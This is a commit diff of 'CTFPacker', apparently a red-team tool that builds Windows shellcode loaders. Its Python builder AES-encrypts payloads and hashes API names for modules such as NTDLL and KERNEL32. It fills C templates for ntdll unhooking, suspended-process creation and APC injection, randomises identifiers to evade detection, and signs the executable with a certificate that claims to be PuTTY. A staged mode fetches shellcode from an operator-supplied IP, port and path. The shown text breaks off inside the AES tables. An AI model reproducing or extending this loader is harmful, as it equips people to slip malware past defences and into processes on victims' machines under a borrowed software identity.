mirror of
https://github.com/mochabyte0x/CTFPacker
synced 2026-06-06 16:14:33 +00:00
First Commit
This commit is contained in:
Bolgorov
@@ -172,3 +172,6 @@ cython_debug/
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# PyPI configuration file
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.pypirc
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ctfloader.exe
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ctfloader_signed.exe
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@@ -0,0 +1,45 @@
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import os
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from core.utils import Colors
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from Crypto.Cipher import AES
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from Crypto.Util.Padding import pad
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class Encryption:
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# Generate a random KEY and IV
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def GenerateKey(key_size: int) -> tuple:
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# Generate a 16-byte or 32-byte key for AES-128 or AES-256
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key = os.urandom(key_size)
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#print(key)
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# Generate a 16-byte IV (128 bits, which is the block size for AES)
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iv = os.urandom(AES.block_size)
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#print(iv)
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return key, iv
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# AES-128 CBC encryption
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def EncryptAES(shellcode: bytes) -> bytes:
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#print(Colors.light_blue("[INF] Encryption Technique:\tAES-128-CBC"))
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# Generate random key and IV
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key, iv = Encryption.GenerateKey(16)
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# Formatting
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hex_key = ''.join([f"0x{key.hex()[i:i+2]}, " for i in range(0, len(key.hex()), 2)]).strip(", ")
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hex_iv = ''.join([f"0x{iv.hex()[i:i+2]}, " for i in range(0, len(iv.hex()), 2)]).strip(", ")
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# Print the key and IV
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#print(Colors.light_blue(f"[INF] Key (hex):\t\t{hex_key}"))
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#print(Colors.light_blue(f"[INF] IV (hex):\t\t\t{hex_iv}\n"))
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# Create AES cipher in CBC mode
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cipher = AES.new(key, AES.MODE_CBC, iv)
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# Pad the shellcode to be a multiple of 16 bytes (AES block size)
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padded_shellcode = pad(shellcode, AES.block_size)
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# Encrypt the padded shellcode
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enc_shellcode = cipher.encrypt(padded_shellcode)
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# Return the encrypted shellcode
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return enc_shellcode, hex_key, hex_iv
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@@ -0,0 +1,12 @@
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class Hasher:
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def Hasher(input_string: str, INITIAL_SEED: int, INITIAL_HASH: int) -> int:
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hash_value = INITIAL_HASH & 0xFFFFFFFF
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for c in input_string.encode('ascii'):
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hash_value = ((hash_value << INITIAL_SEED) & 0xFFFFFFFF) + hash_value
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hash_value = (hash_value + c) & 0xFFFFFFFF
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return f"0x{hash_value:08X}"
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@@ -0,0 +1,77 @@
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import colorama
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from colorama import Fore, Style
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colorama.init(autoreset=True)
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class Colors:
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@staticmethod
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def red(str):
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return Fore.RED + str + Style.RESET_ALL
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@staticmethod
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def green(str):
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return Fore.GREEN + str + Style.RESET_ALL
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@staticmethod
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def yellow(str):
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return Fore.YELLOW + str + Style.RESET_ALL
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@staticmethod
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def blue(str):
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return Fore.BLUE + str + Style.RESET_ALL
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@staticmethod
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def magenta(str):
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return Fore.MAGENTA + str + Style.RESET_ALL
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@staticmethod
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def cyan(str):
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return Fore.CYAN + str + Style.RESET_ALL
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@staticmethod
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def white(str):
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return Fore.WHITE + str + Style.RESET_ALL
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@staticmethod
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def black(str):
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return Fore.BLACK + str + Style.RESET_ALL
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@staticmethod
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def light_red(str):
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return Fore.LIGHTRED_EX + str + Style.RESET_ALL
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@staticmethod
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def light_green(str):
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return Fore.LIGHTGREEN_EX + str + Style.RESET_ALL
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@staticmethod
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def light_yellow(str):
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return Fore.LIGHTYELLOW_EX + str + Style.RESET_ALL
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@staticmethod
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def light_blue(str):
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return Fore.LIGHTBLUE_EX + str + Style.RESET_ALL
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@staticmethod
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def light_magenta(str):
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return Fore.LIGHTMAGENTA_EX + str + Style.RESET_ALL
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def banner():
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print(Colors.light_red("""
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▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
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▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
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▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
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▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
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▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
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░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
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░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
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░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
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░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
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░ ░
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""")+
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("\n\tAuthor: B0lg0r0v") +("\n\thttps://arthurminasyan.com\n"))
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@@ -0,0 +1,370 @@
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# -*- coding: utf-8 -*-
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'''
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Author: @B0lg0r0v (Arthur Minasyan)
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X (Twitter): @B0lg0r0v
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LinkedIn: https://www.linkedin.com/in/arthur-minasyan-b582b7233/
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'''
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import os
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import random
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import subprocess
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import shutil, errno
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from core.hashing import Hasher
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from argparse import ArgumentParser
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from core.utils import Colors, banner
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from core.encryption import Encryption
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def main():
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# Creating the parser first
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parser = ArgumentParser(description="CTFPacker", epilog="Author: @B0lg0r0v (Arthur Minasyan)")
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subparsers = parser.add_subparsers(dest="commands", help="Staged or Stageless Payloads", required=True)
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# Creating the subparsers
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parser_staged = subparsers.add_parser("staged", help="Staged")
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parser_stageless = subparsers.add_parser("stageless", help="Stageless")
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# Creating the arguments for the staged subcommand
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parser_staged.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
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parser_staged.add_argument("-i", "--ip-address", type=str, help="IP address from where your shellcode is gonna be fetched.", required=True)
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parser_staged.add_argument("-po", "--port", type=int, help="Port from where the HTTP connection is gonna fetch your shellcode.", required=True)
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parser_staged.add_argument("-pa", "--path", type=str, help="Path from where your shellcode uis gonna be fetched. ", required=True)
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parser_staged.add_argument("-o", "--output", type=str, help="Output path where the shellcode is gonna be saved.")
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parser_staged.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
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parser_staged.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
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parser_staged.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
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# Creating the arguments for the stageless subcommand
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parser_stageless.add_argument("-p", "--payload", help="Shellcode to be packed", required=True)
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parser_stageless.add_argument("-o", "--output", type=str, help="Output path where the loader is gonna be saved.", required=True)
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parser_stageless.add_argument("-e", "--encrypt", action="store_true", help="Encrypt the shellcode via AES-128-CBC.")
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parser_stageless.add_argument("-s", "--scramble", action="store_true", help="Scramble the loader's functions and variables.")
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parser_stageless.add_argument("-si", "--sign", action="store_true", help="Sign the loader with a random certificate.")
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# Parsing the arguments
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args = parser.parse_args()
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# Banner
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banner()
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if args.commands == "staged":
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print(Colors.green("[i] Staged Payload selected."))
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print(Colors.light_yellow("[+] Starting the process..."))
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# We make a temporary folder called ".ctfpacker" and copy the template files to this folder.
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cr_directory = os.getcwd()
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src_directory = rf'{cr_directory}\templates\Staged'
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dst_directory = f'{cr_directory}\\.ctfpacker'
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# Copying the files from the templates folder to the temporary folder
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try:
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shutil.copytree(src_directory, dst_directory)
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except OSError as e:
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# deleting the folder if it exists
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if e.errno == errno.EEXIST:
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shutil.rmtree(dst_directory)
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shutil.copytree(src_directory, dst_directory)
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else:
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print(f"Error: {e}")
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if args.payload and args.ip_address and args.port and args.path:
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print(Colors.green("[i] Template selected.."))
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ip = args.ip_address
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port = args.port
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path = args.path
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with open(f'{dst_directory}\\download.c', 'r') as file:
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download_data = file.readlines()
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for i in range(len(download_data)):
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if "#-IP_VALUE-#" in download_data[i]:
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download_data[i] = download_data[i].replace("#-IP_VALUE-#", ip)
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if "#-PORT_VALUE-#" in download_data[i]:
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download_data[i] = download_data[i].replace("#-PORT_VALUE-#", str(port))
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if "#-PATH_VALUE-#" in download_data[i]:
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download_data[i] = download_data[i].replace('#-PATH_VALUE-#', path)
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with open(f'{dst_directory}\\download.c', 'w') as file:
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file.writelines(download_data)
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# We read the shellcode from the file
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with open(args.payload, "rb") as file:
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payload = file.read()
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INITIAL_SEED = random.randint(5, 20)
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INITIAL_HASH = random.randint(2000, 9000)
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NTDLL_HASH = Hasher.Hasher("NTDLL.DLL", INITIAL_SEED, INITIAL_HASH)
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KERNEL32_HASH = Hasher.Hasher("KERNEL32.DLL", INITIAL_SEED, INITIAL_HASH)
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KERNELBASE_HASH = Hasher.Hasher("KERNELBASE.DLL", INITIAL_SEED, INITIAL_HASH)
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DEBUGACTIVEPROCESSSTOP_HASH = Hasher.Hasher("DebugActiveProcessStop", INITIAL_SEED, INITIAL_HASH)
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CREATEPROCESSA_HASH = Hasher.Hasher("CreateProcessA", INITIAL_SEED, INITIAL_HASH)
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NTMAPVIEWOFSECTION_HASH = Hasher.Hasher("NtMapViewOfSection", INITIAL_SEED, INITIAL_HASH)
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# Modifying all .c and .h files in the temporary folder
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for filename in os.listdir(dst_directory):
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if filename.endswith(".c") or filename.endswith(".h"):
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with open(f"{dst_directory}\\{filename}", "r") as file:
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data = file.readlines()
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for i in range(len(data)):
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if "#-INITIAL_HASH_VALUE-# " in data[i]:
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data[i] = data[i].replace("#-INITIAL_HASH_VALUE-#", str(INITIAL_HASH))
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if "#-INITIAL_SEED_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-INITIAL_SEED_VALUE-#", str(INITIAL_SEED))
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if "#-NTDLL_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-NTDLL_VALUE-#", NTDLL_HASH)
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if "#-KERNEL32_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-KERNEL32_VALUE-#", KERNEL32_HASH)
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if "#-KERNELBASE_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-KERNELBASE_VALUE-#", KERNELBASE_HASH)
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if "#-DAPS_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH)
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if "#-CREATEPROCESSA_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH)
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if "#-NTMVOS_VALUE-#" in data[i]:
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data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH)
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with open(f"{dst_directory}\\{filename}", "w") as file:
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file.writelines(data)
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print(Colors.green("[+] Template files modified !"))
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# Handling the case if encryption is wanted
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if args.encrypt:
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print(Colors.green("[i] Encryption selected."))
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print(Colors.light_yellow("[+] Encrypting the payload..."))
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enc_payload, key, iv = Encryption.EncryptAES(payload)
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if os.path.exists(f"{args.output}.bin"):
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os.remove(f"{args.output}.bin")
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with open(f"{args.output}.bin", "wb") as file:
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file.write(enc_payload)
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# We write the key and IV into main.c
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with open(f"{dst_directory}\\main.c", "r") as file:
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main_data = file.readlines()
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# We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values
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for i in range(len(main_data)):
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if "#-KEY_VALUE-#" in main_data[i]:
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main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key)
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if "#-IV_VALUE-#" in main_data[i]:
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main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv)
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# Writing the data back to the file
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with open(f"{dst_directory}\\main.c", "w") as file:
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file.writelines(main_data)
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print(Colors.green(f"[+] Payload encrypted and saved to {args.output}.bin !"))
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# If encryption is not wanted (for whatever reason)
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if args.encrypt is False:
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print(Colors.green("[i] Encryption not selected."))
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print(Colors.light_yellow("[+] Compiling the loader..."))
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# We comment out the encryption function in the main.c file
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with open(f"{dst_directory}\\main.c", "r") as file:
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main_data = file.readlines()
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for i in range(len(main_data)):
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if "#include \"AES_128_CBC.h\"" in main_data[i]:
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main_data[i] = f"//{main_data[i]}"
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if "AES_CTX" in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]:
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main_data[i] = f"//{main_data[i]}"
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if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]:
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main_data[i] = f"//{main_data[i]}"
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if "Starting the decryption..." in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload);" in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]:
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main_data[i] = f"\t//{main_data[i]}"
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if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]:
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main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) pEncPayload, sEncPayload, &pProcess)) {{"
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with open(f"{dst_directory}\\main.c", "w") as file:
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file.writelines(main_data)
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# We copy the payload file to the path specified by the user
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shutil.copy(args.payload, f"{args.output}.bin")
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if args.scramble:
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print(Colors.green("[i] Scrambling selected."))
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print(Colors.light_yellow("[+] Scrambling the loader..."))
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functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer",
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"CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit",
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"GetContent"]
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scrambled_functions = []
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variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId"]
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scrambled_variables = []
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alphabet = list("abcdefghijklmnopqrstuvwxyz")
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used_combos = set()
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# Scrambling the functions
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for sign in functions + variables:
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letter = random.choice(alphabet)
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multiplier = random.randint(1, 128)
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while (letter, multiplier) in used_combos:
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letter = random.choice(alphabet)
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multiplier = random.randint(1, 128)
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used_combos.add((letter, multiplier))
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scrambled_sign = letter * multiplier
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if sign in functions:
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scrambled_functions.append(scrambled_sign)
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else:
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scrambled_variables.append(scrambled_sign)
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||||
|
||||
# Modifying all .c and .h files in the temporary folder
|
||||
for filename in os.listdir(dst_directory):
|
||||
if filename.endswith(".c") or filename.endswith(".h"):
|
||||
with open(f"{dst_directory}\\{filename}", "r") as file:
|
||||
data = file.readlines()
|
||||
|
||||
for i in range(len(data)):
|
||||
if "HashStringDjb2A" in data[i]:
|
||||
data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0])
|
||||
if "GetProcAddressH" in data[i]:
|
||||
data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1])
|
||||
if "GetModuleHandleH" in data[i]:
|
||||
data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2])
|
||||
if "MapNtdll" in data[i]:
|
||||
data[i] = data[i].replace("MapNtdll", scrambled_functions[3])
|
||||
if "Unhook" in data[i]:
|
||||
data[i] = data[i].replace("Unhook", scrambled_functions[4])
|
||||
if "AES_DecryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5])
|
||||
if "AES_DecryptBuffer" in data[i]:
|
||||
data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6])
|
||||
if "CreateSuspendedProcess" in data[i]:
|
||||
data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7])
|
||||
if "APCInjection" in data[i]:
|
||||
data[i] = data[i].replace("APCInjection", scrambled_functions[8])
|
||||
if "cDAPSu" in data[i]:
|
||||
data[i] = data[i].replace("cDAPSu", scrambled_functions[9])
|
||||
if "cCPAu" in data[i]:
|
||||
data[i] = data[i].replace("cCPAu", scrambled_functions[10])
|
||||
if "aes_k" in data[i]:
|
||||
data[i] = data[i].replace("aes_k", scrambled_functions[11])
|
||||
if "aes_i" in data[i]:
|
||||
data[i] = data[i].replace("aes_i", scrambled_functions[12])
|
||||
if "AES_Decrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13])
|
||||
if "AES_Encrypt" in data[i]:
|
||||
data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14])
|
||||
if "AES_EncryptInit" in data[i]:
|
||||
data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15])
|
||||
if "GetContent" in data[i]:
|
||||
data[i] = data[i].replace("GetContent", scrambled_functions[16])
|
||||
|
||||
|
||||
with open(f"{dst_directory}\\{filename}", "w") as file:
|
||||
file.writelines(data)
|
||||
|
||||
# Modifying the main.c file
|
||||
with open(f"{dst_directory}\\main.c", "r") as file:
|
||||
main_data = file.readlines()
|
||||
|
||||
for i in range(len(main_data)):
|
||||
if "sEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0])
|
||||
if "pEncPayload" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1])
|
||||
if "pClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2])
|
||||
if "ctx" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("ctx", scrambled_variables[3])
|
||||
if "hProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4])
|
||||
if "pProcess" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5])
|
||||
if "dwSizeOfClearText" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6])
|
||||
if "dwOldProtect" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7])
|
||||
if "dwProcessId" in main_data[i]:
|
||||
main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8])
|
||||
|
||||
with open(f"{dst_directory}\\main.c", "w") as file:
|
||||
file.writelines(main_data)
|
||||
|
||||
print(Colors.green("[+] Loader scrambled !"))
|
||||
|
||||
if args.sign:
|
||||
|
||||
print(Colors.green("[i] Signing selected."))
|
||||
print(Colors.light_yellow("[+] Signing the loader..."))
|
||||
|
||||
pfx_path = f"{cr_directory}\\custom_certs\\sign_putty.pfx"
|
||||
pfx_password = "Password"
|
||||
input_binary = "ctfloader.exe"
|
||||
signed_binary = "ctfloader_signed.exe"
|
||||
|
||||
os.system(f"cd {dst_directory} && make clean && make")
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
if os.path.exists("ctfloader_signed.exe"):
|
||||
os.remove("ctfloader_signed.exe")
|
||||
|
||||
subprocess.run([
|
||||
f"{cr_directory}\\custom_certs\\osslsigncode.exe",
|
||||
"sign",
|
||||
"-pkcs12", pfx_path,
|
||||
"-pass", pfx_password,
|
||||
"-n", "Signed Loader",
|
||||
"-i", "https://putty.com",
|
||||
"-t", "http://timestamp.sectigo.com",
|
||||
"-in", input_binary,
|
||||
"-out", signed_binary
|
||||
], check=True)
|
||||
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader signed !"))
|
||||
|
||||
if args.sign is False:
|
||||
|
||||
# Everything has been modified, we can now compile the loader
|
||||
os.system(f"cd {dst_directory} && make clean && make")
|
||||
|
||||
# We move the compiled loader one directory up
|
||||
shutil.move(f"{dst_directory}\\ctfloader.exe", f"ctfloader.exe")
|
||||
|
||||
# We delete the temporary folder
|
||||
shutil.rmtree(dst_directory)
|
||||
|
||||
print(Colors.green("[+] Loader compiled !"))
|
||||
|
||||
print(Colors.green("[+] DONE !"))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,2 @@
|
||||
colorama==0.4.6
|
||||
pycryptodome==3.20.0
|
||||
@@ -0,0 +1,965 @@
|
||||
/*
|
||||
|
||||
Original Implementation: https://github.com/halloweeks/AES-128-CBC
|
||||
Modifications from Arthur Minasyan (B0lg0r0v) to handle data of any size.
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 Hallo Weeks
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
*/
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifndef __AES_128_CBC_H__
|
||||
#define __AES_128_CBC_H__
|
||||
|
||||
#define AES_BLOCK_SIZE 16
|
||||
#define AES_KEY_SIZE 16
|
||||
|
||||
#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \
|
||||
((unsigned int)(in_data)[1] << 16) ^ \
|
||||
((unsigned int)(in_data)[2] << 8) ^ \
|
||||
((unsigned int)(in_data)[3] << 0))
|
||||
|
||||
#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \
|
||||
(out_data)[1] = (unsigned char)((st) >> 16); \
|
||||
(out_data)[2] = (unsigned char)((st) >> 8); \
|
||||
(out_data)[3] = (unsigned char)((st) >> 0); }
|
||||
|
||||
static const unsigned int Te0[256] =
|
||||
{
|
||||
0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU,
|
||||
0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U,
|
||||
0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU,
|
||||
0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU,
|
||||
0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U,
|
||||
0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU,
|
||||
0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU,
|
||||
0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU,
|
||||
0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU,
|
||||
0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU,
|
||||
0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U,
|
||||
0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU,
|
||||
0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU,
|
||||
0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U,
|
||||
0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU,
|
||||
0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU,
|
||||
0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU,
|
||||
0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU,
|
||||
0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU,
|
||||
0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U,
|
||||
0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU,
|
||||
0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU,
|
||||
0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU,
|
||||
0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU,
|
||||
0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U,
|
||||
0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U,
|
||||
0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U,
|
||||
0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U,
|
||||
0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU,
|
||||
0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U,
|
||||
0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U,
|
||||
0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU,
|
||||
0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU,
|
||||
0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U,
|
||||
0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U,
|
||||
0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U,
|
||||
0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU,
|
||||
0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U,
|
||||
0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU,
|
||||
0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U,
|
||||
0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU,
|
||||
0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U,
|
||||
0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U,
|
||||
0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU,
|
||||
0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U,
|
||||
0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U,
|
||||
0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U,
|
||||
0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U,
|
||||
0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U,
|
||||
0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U,
|
||||
0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U,
|
||||
0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U,
|
||||
0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU,
|
||||
0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U,
|
||||
0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U,
|
||||
0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U,
|
||||
0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U,
|
||||
0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U,
|
||||
0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U,
|
||||
0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU,
|
||||
0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U,
|
||||
0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U,
|
||||
0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U,
|
||||
0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU,
|
||||
};
|
||||
|
||||
static const unsigned int Te1[256] =
|
||||
{
|
||||
0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU,
|
||||
0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U,
|
||||
0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU,
|
||||
0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U,
|
||||
0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU,
|
||||
0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U,
|
||||
0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU,
|
||||
0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U,
|
||||
0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U,
|
||||
0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU,
|
||||
0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U,
|
||||
0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U,
|
||||
0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U,
|
||||
0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU,
|
||||
0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U,
|
||||
